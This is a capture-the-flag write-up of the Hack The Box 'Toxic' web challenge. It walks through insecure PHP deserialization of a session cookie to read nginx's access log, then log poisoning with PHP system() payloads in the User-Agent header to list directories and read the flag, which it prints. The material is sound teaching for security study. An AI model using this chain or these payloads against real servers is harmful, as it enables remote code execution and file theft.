Home HTB Toxic(Challenge) Writeup
Post
Cancel

HTB Toxic(Challenge) Writeup

web/Toxic

Description: Humanity has exploited our allies, the dart frogs, for far too long, take back the freedom of our lovely poisonous friends. Malicious input is out of the question when dart frogs meet industrialisation. 🐸

zip file *Login to Download

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
spl_autoload_register(function ($name){
    if (preg_match('/Model$/', $name))
    {
        $name = "models/${name}";
    }
    include_once "${name}.php";
});

if (empty($_COOKIE['PHPSESSID']))
{
    $page = new PageModel;
    $page->file = '/www/index.html';

    setcookie(
        'PHPSESSID', 
        base64_encode(serialize($page)), 
        time()+60*60*24, 
        '/'
    );
} 

$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);

A few pointers to note in this file

  • If the PHPSESSID cookie is empty, a new PageModel object is created and a file attribute is set pointing to /www/index.html. It is then serialized and base64 encoded and set in a cookie.

  • If the PHPSESSID cookie is present, it is simply base64 decoded and unserialized.

Initial Steps

My initial thoughts were to base64 decode and unserialize the cookie and change the file object to read the flag located in /flag. So I took the initial cookie and base64 decoded and unserialized it. It gave me and object which looked like this

O:9:”PageModel”:1:{s:4:”file”;s:15:”/www/index.html”;}.

More info about how serializing and deserializing works can be found at Insecure Deserialization in PHP. I tried to change the file to point to /flag directory, but seems like there was no flag. On looking closer at other files, there was an entrypoint.sh file.

entrypoint.sh

1
2
3
4
5
6
7
8
9
#!/bin/ash

# Secure entrypoint
chmod 600 /entrypoint.sh

# Generate random flag filename
mv /flag /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1`

exec "$@"

It seems a new random directory for flag is created each time a new instance is spun. So we need to know the exact folder name to read the flag. I decided to look into other files in the folder.

Analyzing nginx.conf

The folder structure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
.
β”œβ”€β”€ build-docker.sh
β”œβ”€β”€ challenge
β”‚Β Β  β”œβ”€β”€ index.html
β”‚Β Β  β”œβ”€β”€ index.php
β”‚Β Β  β”œβ”€β”€ models
β”‚Β Β  β”‚Β Β  └── PageModel.php
β”‚Β Β  └── static
β”‚Β Β      β”œβ”€β”€ basement
β”‚Β Β      β”‚Β Β  └── help.png
β”‚Β Β      β”œβ”€β”€ css
β”‚Β Β      β”‚Β Β  └── production.css
β”‚Β Β      β”œβ”€β”€ images
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ aircraft.svg
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ bucket.svg
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ dart-frog.jpg
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ drift.svg
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ facebook.svg
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ favicon.ico
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ flask.svg
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ instagram.svg
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ logo.svg
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ newrelic.svg
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ presentor.jpg
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ ryan1.png
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ ryan2.png
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ ryan3.png
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ ryan4.png
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ ryan5.png
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ ryan6.png
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ segment.svg
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ stripe.svg
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ twitter.svg
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ woman1.jpg
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ woman2.jpg
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ woman3.jpg
β”‚Β Β      β”‚Β Β  β”œβ”€β”€ youtube.svg
β”‚Β Β      β”‚Β Β  └── zopim.svg
β”‚Β Β      └── js
β”‚Β Β          └── production.js
β”œβ”€β”€ config
β”‚Β Β  β”œβ”€β”€ fpm.conf
β”‚Β Β  β”œβ”€β”€ nginx.conf
β”‚Β Β  └── supervisord.conf
β”œβ”€β”€ Dockerfile
β”œβ”€β”€ entrypoint.sh
└── flag

The file that stood out was nginx.conf. I decided to give that file a look.

nginx.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
user www;
pid /run/nginx.pid;
error_log /dev/stderr info;

events {
    worker_connections 1024;
}

http {
    server_tokens off;
    log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
    access_log /var/log/nginx/access.log docker;

    charset utf-8;
    keepalive_timeout 20s;
    sendfile on;
    tcp_nopush on;
    client_max_body_size 1M;

    include  /etc/nginx/mime.types;

    server {
        listen 80;
        server_name _;

        index index.php;
        root /www;

        location / {
            try_files $uri $uri/ /index.php?$query_string;
            location ~ \.php$ {
                try_files $uri =404;
                fastcgi_pass unix:/run/php-fpm.sock;
                fastcgi_index index.php;
                fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
                include fastcgi_params;
            }
        }
    }
}

The first thing that caught my attention was the access_log, that describes where the logs were stored. Next thing is I wrote a simple PHP script that would create the PageModel object with file pointing to /var/log/nginx/access.log.

1
2
3
4
5
6
7
8
9
<?php
class PageModel
{
    public $file;
}
$page = new PageModel;
$page->file = '/var/log/nginx/access.log';
print(base64_encode(serialize($page)))
?>

After updating the cookie and refreshing the page, we are presented with the contents of access.log file.

Contents ofvar/log/nginx/access.log Contents of /var/log/nginx/access.log

The Final Steps

Next thing we could see is how the log is formatted before it is inserted into the log file. The following line shows the configuration.

log_format docker β€˜$remote_addr $remote_user $status β€œ$request” β€œ$http_referer” β€œ$http_user_agent” β€˜;
access_log /var/log/nginx/access.log docker;

We could see the user agent being inserted in the log, which is something an user could control. After a few hours of research and after many attempts of trail and error, I came to know about log poisoning. Considering the application is a PHP application we could try to insert some arbitrary PHP code in the user-agent header and check if it gets executed. Inserting this line of code in the header produces the following result.

1
<?php system('ls -l /');?>

Contents ofvar/log/nginx/access.log with contents of folder Contents of /var/log/nginx/access.log with contents of / folder

Now since we have the flag folder we could insert another PHP payload in the user-agent header and read the flag.

1
<?php system('cat /flag_H3zzM');?>

Contents ofvar/log/nginx/access.log with flag Contents of /var/log/nginx/access.log with flag

Flag: HTB{P0i5on_1n_Cyb3r_W4rF4R3?!}

This post is licensed under CC BY 4.0 by the author.
Trending Tags